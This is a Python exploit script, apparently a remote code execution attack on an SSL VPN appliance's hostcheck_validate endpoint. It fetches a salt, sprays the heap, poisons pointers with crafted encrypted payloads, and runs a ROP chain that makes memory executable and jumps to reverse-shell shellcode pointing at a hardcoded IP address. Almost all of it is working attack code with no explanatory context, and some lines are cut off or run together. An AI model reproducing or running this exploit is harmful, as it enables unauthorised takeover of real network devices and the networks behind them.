from binascii import hexlify, unhexlify import requests import hashlib import socket import ssl import time import os, sys import pickle import glob import subprocess import struct import shellcode import urllib3 from urllib3.exceptions import InsecureRequestWarning urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) p64 = lambda x: struct.pack('= len(buffer): m = hashlib.md5() m.update(buffer[-16:]) result = m.digest() buffer += result return buffer def calc_enc_data_length(data, md5_hash): length_l = (data[4]) ^ md5_hash[0] length_h = (data[5]) ^ md5_hash[1] print(hex(length_l)) print(hex(length_h)) length = (length_h<<8)+length_l return length def stupid_calc_size(matched, md5_hash): for i in range(0x100): for j in range(0x100): length_l = (i) ^ md5_hash[0] length_h = (j) ^ md5_hash[1] length = (length_h<<8)+length_l if length == matched: return [i,j] return None def gen_payload(hash_buffer,payload0,offset,target_size=None,custom_payload=None): hash0 = hash_buffer[:16] if target_size == None: target_size= 0x1c00-24-6 + offset+1 encrypted_size = stupid_calc_size(target_size, hash0) encrypted_size = hexlify(bytes(encrypted_size)) datasize = ((((0x1c00-8-24) // 8 + 1 ) * 8) - 1) * 2 payload = payload0 payload += encrypted_size #payload += hexlify(hash_buffer) #payload = payload[:datasize] #payload = payload.ljust(((((0x1c00-8-24) // 8 + 1 ) * 8) - 1) * 2,b'0') if custom_payload != None: payload += custom_payload payload = payload.ljust(datasize,b'0') return payload def payload_poison_null(offset): payload = gen_payload(hash_buffer, payload0, offset) return payload hash0 = hash_buffer[:16] encrypted_size = stupid_calc_size(0x1c00-24-6 + offset, hash0) encrypted_size = hexlify(bytes(encrypted_size)) payload = payload0 payload += encrypted_size payload = payload.ljust(((((0x1c00-8-24) // 8 + 1 ) * 8) - 1) * 2,b'0') return payload def trigger(payload): url = 'https://%s:%d/remote/hostcheck_validate' % (host,port) data = {b'redir':b'a', b'enc':payload} out = s.post(url,data=data) return out def poison_null(offset): offset = offset-1 payload = payload_poison_null(offset) trigger(payload) trigger(payload) def main(): global s s = requests.Session() s.verify = False ''' ################## # make a hole ################## print('[+] heap spray') sslList = heap_spray() free_ssl(sslList[-4]) # for vulnerable chunk free_ssl(sslList[0]) # for exploit chunk ''' ################## # salt ################## global salt url = 'https://%s:%d/remote/info' % (host,port) out = s.get(url) salt = out.content.split(b"salt='")[1].split(b"'")[0] print('[+] salt=%s' % salt) ################## # calculate hash ################## # md5_hash = compute_hash(salt, payload0) global hash_buffer hash_buffer = gen_hash_buffer(payload0) #print(hash_buffer[30:]) print('[+] processing hash') # 0x00f13ad2: push rdi; pop rsp; ret; # 0x00824bdd: jmp qword ptr [rdi-0x3f]; # requiredValues = [0x00824bdd, 0x00f13ad2] requiredValues = ['d23af1', 'dd4b82'] requiredOffsets = [0x30, 0x0] #requiredValues = ['42', '41'] #requiredOffsets = [0x30, 0x0] print(" [+] finding hash in cache") # check existing values allFound = True for i in range(len(requiredValues)): value = requiredValues[i] offset = requiredOffsets[i] path = '%s/%x_%s*.pickle'%(salt.decode(),offset,value) fileList = glob.glob(path) if len(fileList) == 0: allFound = False break if not allFound: print(' [-] not in cache') print(' [+] computing') startBlock = 0x0 blockSize = 0x10000 bufferSize = 0x1d00 valuesString = ','.join(requiredValues) offsetsString = ','.join(list(map(lambda x: '0x%x' % x, requiredOffsets))) #cmd = 'python3 run-calc-hashes.py 4 01f7c0d6 0x500000 0x1000 0x1d00 41 0' cmd = 'python3 run-calc-hashes.py %x %s 0x%x 0x%x 0x%x %s %s' % (nProcess, salt.decode(), startBlock,blockSize, bufferSize, valuesString, offsetsString) p = subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE) output = b'' errout = b'' while True: output += p.stdout.read() errout += p.stderr.read() if b"resultList: " in output: break if errout != b'': print(" [-] ERROR OCCURED") print(errout.decode()) exit() else: print(' [+] found in cache') print(' [+] loading') seedHashbufferMap = {} # find and load values allFound = True for i in range(len(requiredValues)): value = requiredValues[i] offset = requiredOffsets[i] path = '%s/%x_%s*.pickle'%(salt.decode(),offset,value) fileList = glob.glob(path) for filepath in fileList: #print(filepath) try: with open(filepath,"rb") as f: hash_buffer_map = pickle.load(f) except: print(' [-] failed') continue matchedSeed = None for seed in hash_buffer_map: if hash_buffer_map[seed][0x1c00-28+offset:].startswith(unhexlify(value.encode())): matchedSeed = seed seedHashbufferMap[value] = [matchedSeed,hash_buffer_map[matchedSeed]] break if matchedSeed != None: break #print(seedHashbufferMap) ############################ # Heap spray & make a hole ############################ print('[+] heap spray') sslList = heap_spray() free_ssl(sslList[-4]) # for vulnerable chunk free_ssl(sslList[0]) # for exploit chunk ################################################################################# # 2nd ROP gadget # 0x00824bdd: jmp qword ptr [rdi-0x3f]; ################################################################################# # overwrite ssl version poison_null(0x1) poison_null(0x0) targetOffset = requiredOffsets[1] size = 2 # realsize-1 seed = seedHashbufferMap[requiredValues[1]][0] hash = seedHashbufferMap[requiredValues[1]][1] # overwrite payload = gen_payload(hash, seed, targetOffset+size) trigger(payload) # restore existing buffer payload = gen_payload(hash, seed, targetOffset-2) trigger(payload) ####################################################### # Overwrite do_handshake_func ptr # 0x00f13ad2: push rdi; pop rsp; ret; ####################################################### targetOffset = 0x30 # handshake_func size = 2 # real size-1 seed = seedHashbufferMap[requiredValues[0]][0] hash = seedHashbufferMap[requiredValues[0]][1] # overwrite payload = gen_payload(hash, seed, targetOffset+size) trigger(payload) # restore existing buffer payload = gen_payload(hash, seed, targetOffset-2) trigger(payload) ############################## # Final ROP payload ############################## bss = 0x00000000040D0000 pop_rdi_ret = 0x02b67018 # pop rdi; ret; pop_rsi_ret = 0x02b68191 # pop rsi; ret; pop_rax_ret = 0x02b0374e # pop rax; ret; pop_rcx_ret = 0x0290f6a3 # pop rcx; ret; pop_rdx_ret = 0x029bb282 # pop rdx; ret; pop_r8_ret = 0x026a63a5 # pop r8; ret; pop_r12_ret = 0x02b67eda # pop r12; ret; ret = 0x02b68e48 # ret; mprotect_plt = 0x000000000043F170 memcpy_plt = 0x000000000043F0A0 rop_payload = b'\x00'*2 rop_payload = rop_payload.ljust(2+0xb0, b'\x40') # [1] memcpy(bss, rdi,0x2000) rop_payload += p64(pop_rax_ret) # (0) pop rax; ret; rop_payload += p64(ret) rop_payload += p64(0x00465126) # (1) mov rsi, rdi; mov rdi, r9; jmp rax; rop_payload += p64(pop_rdx_ret) # (2) pop rdx; ret; rop_payload += p64(0x2000) rop_payload += p64(pop_rdi_ret) # (3) pop rdi; ret; rop_payload += p64(bss) rop_payload += p64(memcpy_plt) # [2] mprotect(bss, 0x2000, 7) rop_payload += p64(pop_rdx_ret) # (0) pop rdx; ret; rop_payload += p64(7) rop_payload += p64(pop_rsi_ret) # (1) pop rsi; ret; rop_payload += p64(0x2000) rop_payload += p64(pop_rdi_ret) # (2) pop rdi; ret; rop_payload += p64(bss) rop_payload += p64(mprotect_plt) # [3] jump to shellcode rop_payload += p64(bss+0x80) rop_payload += sc adjust_offset_size = (0x1c00-24-6-1-0x30-14) assert(len(rop_payload) <= adjust_offset_size) rop_payload = rop_payload.ljust(adjust_offset_size, b'\xcc') # offset = $rdi-0x3f ################### # [0] Stack Pivot ################### # rax = 0x00f13ad2: push rdi; pop rsp; ret; rop_payload += p64(0x01c98dcd) # (0) sub rdi, 0x18; jmp rax; rop_payload += b'\x00'*(7) rop_payload += p64(0x02186970) # (3) sub rdi, rsi; nop [rax+rax]; nop [rax]; ret; rop_payload += p64(0x00f13ad2) # (4) push rdi; pop rsp; ret; rop_payload += p64(0xdeadbeef) rop_payload += p64(pop_rsi_ret) # (2) pop rsi; ret; rop_payload += p64(0x1b00) rop_payload += p64(0x01c98dcd)[:-4] # (1) sub rdi, 0x18; jmp rax; targetOffset = -1 # handshake_func size = 0 seed = b'00000000' hash = compute_hash(salt, seed) payload = gen_payload(hash, seed, targetOffset, target_size=0xffff,custom_payload=hexlify(rop_payload)) trigger(payload) print('[+] execute') #temp = ssl.wrap_socket(sslList[-3], keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE) sslList[-3].send(b"\x00"*4) return if __name__ == '__main__': assert(len(sys.argv) == 5) global host, port, rhost, rport host = sys.argv[1] port = int(sys.argv[2]) rhost = sys.argv[3] rport = int(sys.argv[4]) print('[+] generating shellcode') global sc sc = shellcode.reverseshell(host='192.168.106.143', port=9999) main()